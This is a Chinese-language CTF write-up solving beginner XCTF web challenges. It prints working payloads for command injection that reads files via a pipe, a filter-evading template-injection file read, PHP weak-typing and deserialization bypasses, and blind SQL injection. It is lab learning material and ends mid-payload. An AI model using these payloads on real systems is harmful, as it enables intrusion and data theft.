前几天打了几个比赛被锤成智障,还是刷刷题吧orz【xctf的攻防世界
新手练习
这块都是简单的基础题,不过还是做做看
view_source
F12
get_post
用hackbar提交即可
robots
打开robots.txt提示f1ag_1s_h3re.php
访问即为flag
backup
提示备份于是打开index.php.bak,下载读取获得flag
cookie
抓包发现cookie提示cookie.php,然后访问再抓包,flag在http头中
disabled_button
F12把disabled改成abled即可
simple_js
先读一下js源码
1 | function dechiffre(pass_enc){ |
会发现这里无论输入什么都是没用的
不过可以看到源码里有一串ascii码
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
用python连续两次解码得到786OsErtk12
xff_referer
修改一下头就ok
x-forwarded-for:123.123.123.123
Referer: https://www.google.com
weak_auth
弱密码123456
webshell
既然都写在index里了,那就直接菜刀连,读flag.txt
command_execution
尝试www.baidu.com|ls没有flag有关文件
于是直接www.baidu.com|ls ../../../home发现flag.txt
www.baidu.com|cat ../../../home/flag.txt得flag
simple_php
简单的弱类型,payload:?a=0.0&b=1235a
萌新入门
这里开始就有些东西了
unserialize3
给了源码,读一下
1 | class xctf{ |
应该是code参数传入的直接反序列化,然后触发weakup就直接exit
于是构造参数与属性不等的序列化字符串即可
payload:
O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}
这里参数可能一定要大于属性数量,不知道为什么0的时候不行
Confusion1
进去看图
蟒蛇捆大象,盲猜python后台
然后点login和register都提示404没有该php,八成是python了【虽然抓包后服务器是apache,脚本是php。不过看图估计是故意伪装成php的吧,这就符合题目了
于是在url后尝试2,成功输出2
然后F12在源码中发现
于是尝试 ''.__class__.__mro__[-1].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()
发现被过滤
试了一下,发现是class,mro和read被过滤
然后又试了一下,发现传参时并不会过滤,那么构造payload:
{`
{‘’[request.args.a][request.args.b][2]request.args.c40request.args.d}}?a=class&b=mro&c=subclasses&d=read`
Lottery
仿佛是很久以前做过的一道题,不过之前做的是C++的逻辑漏洞题
这里直接给了源码,看了一下robots.txt提示/.git/,估计比赛时是要用githack拿源码的
然后读源码,读了很久没发现有什么问题,后来才知道是用了弱类型漏洞,果然审计还不过关orz
api.php的buy部分,可以看到$numbers这接收数据却没有检查类型,然后就直接与数字对比。这里就很简单的布尔与数字对比的弱类型漏洞,然后json支持布尔数据,于是抓包修改
payload:{"action":"buy","numbers":[true,true,true,true,true,true,true]}
跑两次然后去买flag
NewsCenter
一道非常直接的盲注题
尝试1搜得出信息,-1不行,于是尝试盲注,貌似什么都没过滤
payload:
1 | -1' or (select length(GROUP_CONCAT(SCHEMA_NAME)) from information_schema.schemata)=50 or ' |